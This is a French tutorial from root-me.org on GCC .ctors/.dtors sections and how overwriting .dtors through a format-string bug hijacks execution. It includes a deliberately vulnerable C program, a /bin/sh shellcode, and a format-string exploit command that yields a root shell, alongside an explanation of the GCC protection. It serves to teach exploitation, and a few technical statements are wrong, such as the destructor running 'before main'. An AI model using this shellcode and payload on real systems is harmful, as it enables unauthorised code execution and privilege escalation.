La section dtors - Big

Transcription

La section dtors - Big
La section dtors
Extrait du root-me.org
http://root-me.org/spip.php?article445
La section dtors
- Français - Documentation - Hacking -
Date de mise en ligne : dimanche 14 mars 2010
root-me.org
Copyright © root-me.org
Page 1/10
La section dtors
Introduction
Les sections .dtors et .ctors sont présentes dans tous les binaires compilés avec GNU C (gcc). Elles permettent
d'appeler des fonctions avant et/ou après la fonction main()
Nous allons voir qu'avec un peu de malice il est possible de s'en servir afin d'executer du code arbitaire.
Théorie
La section .ctors
La section .ctrors fournie une liste d'adresses de fonctions (constructeur) qui seront exécutées avant l'appelle de la
fonction main().
On peut déclarer une fonction comme "constructeur" avec l'attribut constructor comme ceci :
Code C :
static void fonction_constructeur(void) __atribute__ ((constructor));
Cette fonction sera exécutée avant la fonction main.
La section .dtors
La section .dtrors fournie une liste d'adresses de fonctions (destructeur) qui seront exécutées après l'appelle de la
fonction main().
On peut déclarer une fonction comme "destructeur" avec l'attribut destructeur comme ceci :
Code C :
static void fonction_destructeur(void) __atribute__ ((destructor));
Cette fonction sera exécutée avant la fonction main.
Exemple de programme
Code C :
Copyright © root-me.org
Page 2/10
La section dtors
static void fonction_constructeur(void) __attribute__ ((constructor)); // Le prototype de la fonction
fonction_constructeur.
static void fonction_destructeur(void) __attribute__ ((destructor)); // Le prototype de la fonction fonction_destructeur.
int main(void)
{
printf("Je suis la fonction main()");
return 0;
}
void fonction_constructeur(void)
{
printf("Je suis la fonction contructeur, je suis exécutée avant la fonction main()");
}
void fonction_destructeur(void)
{
printf("Je suis la fonction destructeur, je suis exécuté après la fonction main()");
}<div class='code_download' style='text-align: right;'> <a
href='local/cache-code/1d92fafb809dba68e1d1af5358c77ae7.txt' style='font-family: verdana, arial, sans;
font-weight: bold; font-style: normal;'>Télécharger
On compile :
$ gcc -o prog prog.c
On exécute :
$ ./prog
Je suis la fonction constructeur, je suis exécutée avant la fonction main()
Je suis la fonction main()
Je suis la fonction destructeur, je suis exécutée après la fonction main()
Voir les sections dans le binaire
Pour voir ces sections en dure dans les binaires nous disposons de divers outils :
•
•
•
•
nm
objdump
ob
etc ...
Recupérer l'adresse des sections avec nm
$ nm ./prog
08049584 d _DYNAMIC
08049658 d _GLOBAL_OFFSET_TABLE_
080484ac R _IO_stdin_used
w _Jv_RegisterClasses
08049570 d __CTOR_END__
<<<<<<<< Fin de la section .ctors
08049568 d __CTOR_LIST__ <<<<<<<< Début de la section .ctors
Copyright © root-me.org
Page 3/10
La section dtors
0804957c D __DTOR_END__
<<<<<<<<
08049574 d __DTOR_LIST__
Fin de la section .dtors
<<<<<<<< Début de la section .dtors
08048564 r __FRAME_END__
08049580 d __JCR_END__
08049580 d __JCR_LIST__
08049678 A __bss_start
08049670 D __data_start
08048460 t __do_global_ctors_aux
08048320 t __do_global_dtors_aux
08049674 D __dso_handle
w __gmon_start__
0804845a T __i686.get_pc_thunk.bx
08049568 d __init_array_end
08049568 d __init_array_start
080483f0 T __libc_csu_fini
08048400 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
08049678 A _edata
08049680 A _end
0804848c T _fini
080484a8 R _fp_hw
08048274 T _init
080482f0 T _start
08049678 b completed.5829
08049670 W data_start
0804967c b dtor_idx.5831
080483c0 t fonction_constructeur <<<<< L'adresse de fonction_constructeur
080483d4 t fonction_destructeur <<<<<< L'adresse de fonction_destructeur
08048380 t frame_dummy
080483a4 T main
U puts@@GLIBC_2.0
__DTOR_LIST__ représente le debut du .dtors.
__DTOR_END__ représente la fin de .dtors.
Voir la structure des sections avec objdump
Maintenant nous allons voir comment elles sont structurées dans le binaire avec objdump.
$ objdump -s -j .dtors ./prog
./prog:
file format elf32-i386
Contents of section .dtors:
8049574 ffffffff {d4830408} 00000000
Copyright © root-me.org
............
Page 4/10
La section dtors
$ objdump -s -j .ctors ./prog
./prog:
file format elf32-i386
Contents of section .ctors:
8049568 ffffffff {c0830408} 00000000
............
Ici nous voyons trois choses :
•
Le DWORD 0xffffffff qui marque le début de la section, est contenu à l'adresse 0x8049568 qui est représentée
par le symbole __DTOR_LIST__ vu plus haut.
•
L'adresse des fonctions "fonction_constructeur" et "fonction_destructeur" au centre.
•
Le DWORD NULL 0x00000000 représenté par le symbole __DTOR_END__.
Exploitation
Maintenant en sachant tout cela, on peut imaginer comment détourner le flux d'execution du programme :
Si on arrive à écraser l' adresse contenue dans la section .dtors et de la remplacer par l'adresse d'un d'un shellcode
ou d'une fonction de la libc dans le cas d'un ret2libc.
Mais comment arriver à ecrire dans la section .dtors me direz-vous ? Et bien avec une vulnerabilitée bien connu :
Vulnérabilitée de chaine de format (string format vulnerability).
Avec une telle ouverture dans le binaire il nous est possible d'écrire où l'on veut en mémoire, et donc dans la section
.dtors !
Deux cas de figure se presentes :
•
Soit il y a déjà une adresse de fonction présente comme dans l'exemple ci-dessus :
Ainsi nous avons juste à remplacer l'adresse 0xc0830408
8049568 ffffffff c0830408
00000000
•
Soit il n'y a pas d'adresses présente. Dans ce cas là, la section se presentera comme ceci : 8049568 ffffffff
00000000 Il est possible d'écraser la valeur à l'adresse de __DTOR_END__, soit 0x00000000 dans l'exemple,
pour rediriger le flux d'éxécution où l'on veut.
Mise en pratique
Prérequi :
•
•
•
Pas d'ASLR
Avoir la section .dtors en +w
Ne pas avoir de protection sur le nombre de pointeur de fonction dans le .dtors (voir au bas de l'article)
Copyright © root-me.org
Page 5/10
La section dtors
Remaque : cela pourait aussi fonctionner avec l'ASLR, mais cela compliquerait les choses et ce n'est pas le but de
cette article.
La théorie c'est bien mais il faut aussi passer à la pratique, pour fixer les connaisances.
On se trouve face à ce programme :
Code C :
#include <stdio.h>
int main(int argc, char *argv[])
{
char buff[128];
strcpy(buff, argv[1]);
printf(buff);
printf("\n");
return 0;
} <div class='code_download' style='text-align: right;'> <a
href='local/cache-code/e0240ff49605e0d700c52ee9f780ee87.txt' style='font-family: verdana, arial, sans;
font-weight: bold; font-style: normal;'>Télécharger
On voit tout de suite la grave erreur sur le
printf(buff);
On va donc l'exploiter cette format string vulnerability pour écrire l'adresse d'un shellcode dans la section .dtors. Le
shellcode va se trouver dans une variable d'environnement donc dans le pile (stack).
Déjà on regarde si le .dtors est en +w sinon ça ne sert à rien.
On compile et on lance gdb :
gcc vuln.c -o vuln
gdb -q ./vuln
(gdb) info file
....
0x08049508 - 0x08049510 is .dtors
....
(gdb) info proc
process 2563
cmdline = '/tmp/test/vuln'
cwd = '/tmp/test'
exe = '/tmp/test/vuln'
Copyright © root-me.org
Page 6/10
La section dtors
(gdb) shell cat /proc/2563/maps
08048000-08049000 r-xp 00000000 08:01 14988
/tmp/test/vuln
08049000-0804a000 rwxp 00000000 08:01 14988
/tmp/test/vuln
b7eb2000-b7eb3000 rwxp b7eb2000 00:00 0
b7eb3000-b7fda000 r-xp 00000000 08:01 16586
/lib/tls/i686/cmov/libc-2.3.6.so
b7fda000-b7fdf000 r-xp 00127000 08:01 16586
/lib/tls/i686/cmov/libc-2.3.6.so
b7fdf000-b7fe1000 rwxp 0012c000 08:01 16586
/lib/tls/i686/cmov/libc-2.3.6.so
b7fe1000-b7fe4000 rwxp b7fe1000 00:00 0
b7fe8000-b7fea000 rwxp b7fe8000 00:00 0
b7fea000-b7feb000 r-xp b7fea000 00:00 0
[vdso]
b7feb000-b8000000 r-xp 00000000 08:01 90620
/lib/ld-2.3.6.so
b8000000-b8002000 rwxp 00014000 08:01 90620
/lib/ld-2.3.6.so
bffeb000-c0000000 rw-p bffeb000 00:00 0
[stack]
Le .dtors se trouve en 0x08049508 et sur la maps de la mémoire on voit que l'intervalle 08049000-0804a000 est en
+x, on va pouvoir écrire dedans.
Maintenant il faut regarder si la section est vide :
nm ./vuln | grep dtors
0804950c d __DTOR_END__
08049508 d __DTOR_LIST__
0x0804950c - 0x08049508 = 4
Donc la section est vide, on verifie :
objdump -s -j .dtors ./vuln
./vuln:
file format elf32-i386
Contents of section .dtors:
8049508 ffffffff 00000000
........
Confirmation que la liste est vide, il va donc falloir écraser le DWORD NULL.
Ce DWORD NULL se trouve à l'adresse de la section .dtors + 4 :
0x08049508 + 0x4 =
0x0804950c
Passons au shellcode :
On prend un shellcode exec /bin/sh :
printf
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x3
1\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" > shellcode.bin
On le met dans l'environnement :
export SHELLCODE=$(cat shellcode.bin)
Il faut maintenant connaitre l'adresse de notre shellcode, on va utiliser ce petit programme qui prédit l'adresse d'une
Copyright © root-me.org
Page 7/10
La section dtors
variable dans l'environnemnt d'un programme demandé :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *ptr;
if(argc < 3)
{
printf("Usage: %s \n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
if(ptr == NULL)
{
printf("%s doesn't exist", argv[1]);
return -1;
}
ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
printf("%s is at %p\n", argv[1], ptr);
return 0;
}<div class='code_download' style='text-align: right;'> <a
href='local/cache-code/e4c49e41a5bb5d1207c1d18350f62a06.txt' style='font-family: verdana, arial, sans;
font-weight: bold; font-style: normal;'>Télécharger
On compile et exécute :
gcc getenvaddr.c -o getenvaddr
./getenvaddr SHELLCODE ./vuln
SHELLCODE is at 0xbffffbc8
On récapitule :
•
•
L'adresse du DWORD NULL a écraser : 0x0804950c
L'adresse du shellcode : 0xbffffbc8
On exploit :
./vuln $(printf "\x0e\x95\x04\x08\x0c\x95\x04\x08")%49143x%8\$hn%15305x%9\$hn
....
....
sh-3.1# whoami
root
sh-3.1#
Et voila ! On a un shell ! Il n'est pas beau ??
Copyright © root-me.org
Page 8/10
La section dtors
Protection de la section .dtors
Il aurait été trop beau que cette technique marche à tous les coups. Une protection sur la section .dtors existe, plus
précisément sur le nombre de fonctions à exécuter. C'est à dire que si dans un binaire aucun poiteur ne se trouve
dans la section .dtors (comme dans l'exemple ci-dessus), aucune adresse ne sera pris en compte. Donc même si on
ecrase le DWORD NULL par l'adresse d'un shellcode, celui-ci ne sera pas executé !
Cette protection se trouve dans le fonction __do_global_dtors_aux(), c'est cette fontion qui se charge d'exécuter les
pointeurs présents dans le .dtors.
Examinons ceci de plus près :
Fonction __do_global_dtors_aux() avec la protection
0x08048300 <__do_global_dtors_aux+16>:
mov
eax,ds:0x804954c
Ici eax va être à 0, eax va représenter le nombre de fonctions déjà executées, il est donc égal à 0
0x08048305 <__do_global_dtors_aux+21>:
mov
ebx,0x8049450
0x0804830a <__do_global_dtors_aux+26>:
sub
ebx,0x804944c
ebx va être egal à l'adresse de __DTOR_END__, et on y soustrait l'adresse de __DTOR_LIST__. ebx va donc être
égal à 4 octets, ce qui représente la taile du DWORD 0xffffffff.
0x08048310 <__do_global_dtors_aux+32>:
sar
ebx,0x2
0x08048313 <__do_global_dtors_aux+35>:
sub
ebx,0x1
Ici en gros on retire 4 octets à ebx. Donc ebx = 0.
0x08048316 <__do_global_dtors_aux+38>:
cmp
eax,ebx
0x08048318 <__do_global_dtors_aux+40>:
jae
0x8048338 <__do_global_dtors_aux+72>
On compare eax et ebx, ils sont tous les deux égales à 0, arrivé au jae on saute et on quitte la fonction.
•
Resultat : Aucune fonction n'a été executée, même si l'on aurait écrasé le DWORD NULL.
Si ebx est supérieur à eax on continue et on boucle sur ce code :
0x0804831a <__do_global_dtors_aux+42>:
lea
esi,[esi+0x0]
0x08048320 <__do_global_dtors_aux+48>:
add
eax,0x1
0x08048323 <__do_global_dtors_aux+51>:
mov
ds:0x804954c,eax
0x08048328 <__do_global_dtors_aux+56>:
call
DWORD PTR [eax*4+0x804944c]
0x0804832f <__do_global_dtors_aux+63>:
mov
eax,ds:0x804954c
0x08048334 <__do_global_dtors_aux+68>:
cmp
eax,ebx
0x08048336 <__do_global_dtors_aux+70>:
jb
0x8048320 <__do_global_dtors_aux+48>
Ici on va simplement :
•
•
•
Incrémenter eax, (qui je le rappelle est égal au nombre de fonctions exécutées jusqu'à maintenant).
Appeller la procahine fontion présente dans la liste.
Tester si il reste encore une fonction à exécuter.
Copyright © root-me.org
Page 9/10
La section dtors
Conclusion
Nous avons donc vu se que sont les sections .dtors et .ctors, et plus intéressant, comment elles peuvent être la cible
d'attaques pour prendre le contrôle de l'application.
Bien, que comme il est montré à la fin, les programmes compilés avec des versions récentes de GCC, on une
protection. Elle empêche d'exécuter du code arbitraire, si aucune adresse n'est présente dans la section .dtors. Mais
si une adresse est présente, rien ne nous empêche de l'écraser et de détourner le flux, à par peut être le DROP du
droit d'écriture sur la section.
En espérant que cet article vous ai plu.
Copyright © root-me.org
Page 10/10